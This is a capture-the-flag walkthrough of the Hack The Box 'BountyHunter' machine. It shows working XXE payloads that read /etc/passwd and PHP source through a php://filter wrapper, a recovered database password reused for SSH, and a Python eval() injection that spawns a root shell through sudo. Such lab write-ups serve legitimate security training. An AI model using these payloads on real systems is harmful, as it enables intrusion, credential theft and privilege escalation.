Box 7: HTB - BountyHunter
Relatively easy for the beginners. This box would be retired soon.
As soon as I connected to the VPN, let’s launch the Nmap scanner to fight against this box.
nmap -sV -n -vv -Pn -T4 -p- -A 10.10.11.100 --open
PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Try browsing with port 80 (HTTP).
There’s nothing noticeable with tab and "About" and "Contact", but "Portal" is distinguished.
It will lead you to a new odd page.
When we click on "here"→ this will lead us to another page. This page seems to be a system for submitting bug reports.
If I input data to this form, the web page will display the same output to me as the following:
I’ve tried navigating to "Network" tab to view the action of this page when I was clicking "Submit" button. I saw that the page send a POST request to this site:http://10.10.11.100/tracker_diRbPr00f314.php
. I guessed that this script would receive the data we "POST", then processed and displayed the relevant output to us on the screen.
At that time, I thought there’s nothing here to explore further. Therefore, I came back to fire up the popular tool dirsearch
and take a closer look at this site as we manually explore it.
With the above result from dirsearch
, we only focus on the response with status code 2xx or 3xx. However, in that mess (except the homepage /index.php
), we can only access to some URL:
With /index.php/login
, actually there’s no any juicy thing here. You can skip it.
With /resources/
, I guessed we might find some things useful here:
Firstly, I began with README.txt
. The content of file is usually the instruction for users or someone.
Hmmm… I noticed the first line immediately, and then test SSH connection with user 'test' + empty password, but unsuccessfully 😂
The other lines actually make no sense with me, so I decided to ignore them.
Moving to all.js
, this file is a mess and I also couldn’t take anything of out it.
However, the bountylog.js
file will give us some clues:
From that point, we can guess that the input we entered will be sent with POST method in XML format, the website then get this XML data, process and revert back to us via HTML presentation.
The file db.php
looks interesting, but when I accessed this script, it displayed nothing to explore → Maybe we need to review it later.
Foothold
While intercepting the web requests in BurpSuite, I saw that in the POST
request that was sent on submitting the “Bounty Report form”, there was some encoded data being sent in that POST request.
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5yY2UgdmlhIHh4ZTwvdGl0bGU%2BCgkJPGN3ZT42OTY5PC9jd2U%2BCgkJPGN2c3M%2BNTwvY3Zzcz4KCQk8cmV3YXJkPjEwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
This page sends a request to /tracker_diRbPr00f314.php
. The payload appears to be encoded in base64. We notice the %3D%3d
at the end, so we decode the url first, then the base64 data.
Decoding this data string in the following sequence Data —> URL —> base64
, we saw that the form data was being sent in XML format. If you don’t know what tool used to encode/decode data, let’s try this: CyberChef
When we URL-decode it, we will get the following information:
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5yY2UgdmlhIHh4ZTwvdGl0bGU+CgkJPGN3ZT42OTY5PC9jd2U+CgkJPGN2c3M+NTwvY3Zzcz4KCQk8cmV3YXJkPjEwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==
After base64-decoding, the data we entered appears to be in an XML format.
<?xml version=”1.0" encoding=”ISO-8859–1"?>
<bugreport>
<title>rce via xxe</title>
<cwe>6969</cwe>
<cvss>5</cvss>
<reward>100</reward>
</bugreport>
That is matched with the data we have input from the web page:
Let’s try reading a system file by injecting an XXE file. If you still don’t know what is XXE Injection attack, reach this article for more details: https://portswigger.net/web-security/xxe
<?xml version="1.0" encoding=”ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>&file;</reward>
</bugreport>
I used the payload as above to read the /etc/passwd
file → Encode to base64 → Encode to URL → Use BurpSuite Repeater to send a POST request and wait for the response. Wow!! That’s great 🤗
data=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgZGF0YSBbCjwhRU5USVRZIGZpbGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPiBdPgo8YnVncmVwb3J0Pgo8dGl0bGU%2BdGVzdDwvdGl0bGU%2BCiA8Y3dlPnRlc3Q8L2N3ZT4KIDxjdnNzPnRlc3Q8L2N2c3M%2BCiA8cmV3YXJkPiZmaWxlOzwvcmV3YXJkPgo8L2J1Z3JlcG9ydD4%3D
/etc/passwd
with XXEroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Nice, we have a user development
, who is the only one has the right to log in this server (default shell:/bin/bash
), except the root
user. Further, I tried to get more files, such as:
/home/development/user.txt
/home/development/.ssh/id_rsa
/var/www/html/db.php
But I wasn’t able to view them, also i wasn’t able to perform code execution using the expect
php module.
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'expect://id'>]>
but that too didn’t work.
Eventually, I tried to retrieve files using php base64 filter
, another cool way to circumvent file retrieval hinderance:
- Here,
php://
is one of many built-in wrappers of PHP for various URL-style protocols for use with the filesystem functions. Details: https://www.php.net/manual/en/wrappers.php php://filter
is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. Details: https://www.php.net/manual/en/wrappers.php.phpconvert.base64-encode
andconvert.base64-decode
: Use of these filters are equivalent to processing all stream data through the base64_encode() and base64_decode() functions respectively.convert.base64-encode
supports parameters given as an associative array. Ifline-length
is given, the base64 output will be split into chunks ofline-length
characters each. Ifline-break-chars
is given, each chunk will be delimited by the characters given. These parameters give the same effect as using base64_encode() with chunk_split(). Refer: https://www.php.net/manual/en/filters.convert.php
In summary, we need to use PHP wrapper to both read and base64 encode the content of the file|stream at the same time, and in order to bypass file filtering mechanism as well. Trying to view the db.php
file (the one we found during web enumeration)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>&file;</reward>
</bugreport>
Final Payload to fetch the db.php
after format processing:
data=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTnigJMxIj8%2BCjwhRE9DVFlQRSBkYXRhIFs8IUVOVElUWSBmaWxlIFNZU1RFTSAncGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1kYi5waHAnPl0%2BCjxidWdyZXBvcnQ%2BCjx0aXRsZT50ZXN0PC90aXRsZT4KIDxjd2U%2BdGVzdDwvY3dlPgogPGN2c3M%2BdGVzdDwvY3Zzcz4KIDxyZXdhcmQ%2BJmZpbGU7PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D
All we need is the response in base64 format from the web server:
The content of file db.php
in base64 encode:
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
And after base64 decoding:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
You can try using this password to SSH access to this server with different username, such as root
, admin
, test
, bounty
… However, the exactly username is development
that we found in /etc/passwd
from the earlier steps.
Boom!!! Welcome to the terminal 🎅🎅
Cat the flag user.txt
and we get the first one.
Privilege Escalation
Another file you need to notice is contract.txt
in home directory.
This text file contains information on John’s contract with Skytrain Inc, as well as a rm -rf
event. They also suggest an internal tool that we can investigate.
Try using command sudo -l
to check sudo permissions on user development
Lastly, I found that we could abuse this Python script and this might be the internal tool to submit the tickets that John mentioned before. ticketValidator.py
is the program which we have the permission to run as root. Let’s try navigating that directory:
There’s truly a Python script in this folder and we have another sub-folder in this containing invalid tickets. Let’s check again what they are!
Review the content of some .md
files here. They’r all the invalid tickets.
Python Code Analysis
We are going to perform a code review to the python script in order to spot any vulnerabilities:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continueif x.startswith("__Ticket Code:__"):
code_line = i+1
continueif code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return Falsedef main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.closemain()
So, let’s make is simple. The code ask for a file name, then it make sure that the filename is ended with .md
extension. If true, than the code open the file and search for the next conditions.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
The 1st statement to check whether the 1st line in ticket contain "# Skytrain Inc
"
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
The 2nd statment checks whether the 2nd line in ticket contain "## Ticket to
". If yes, print to the output as defined.
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
The code snippet of interest to us is:
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
The code checks for the following conditons to validate the ticket:
Action 1 : If the line starts with "**
", continue.
Action 2 :Splits the string by considering "+
" as the delimitter, takes the first part at index [0] and replaces "**
" with nothing (basically remove it), and stores it as a variable ticketcode
.
Example in 390681613.md:**31+410+86** --> [**31,410,86**] --> **31
ticketcode = 31
Action 3 : If this ticketcode
satisfies ticketcode% 7 ==4
, then continue.
31 % 7 == 3
condition check : false
so this particular ticket is labelled as invalid.
Action 4 : Remove the "**
" from the original string and evaluate value of the expression.
If the result of this evaluated expression is > 100 then return True.
Now, as this string satisfies all the conditions from 1 to 3 which are required to be satisfied in order to execute the eval()
function, let’s create a ticket test.md
file with this content in the /tmp
directory (as we have write permissions in this, but not in /opt/skytrain_inc/
), and run ticketValidator.py
on it
To calculate the ticket code, we’ll use the formula x=7(y)+4, where x is the number and y is the quotient. Any actual number can be added to calculate. 7*(0)+4=4, for example.
Now eval()
function in Python is vulnerable. This function will also execute the python code given to it. In this case the input it takes is not being sanitized, so we can provide malicious python code to it, spawning a root shell (cause we have the permission to run this program as root). Read more about it here.
# Skytrain Inc
## Ticket to abc
__Ticket Code:__
**4+200+exec('import pty;pty.spawn("/bin/bash")')
Fire up the sudo and execute the script, associate it with our custom ticket in /tmp
directory.
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Yup!! Easily we can spawn a bash shell with the root privilege.
And finally, root flag is an achievement for us.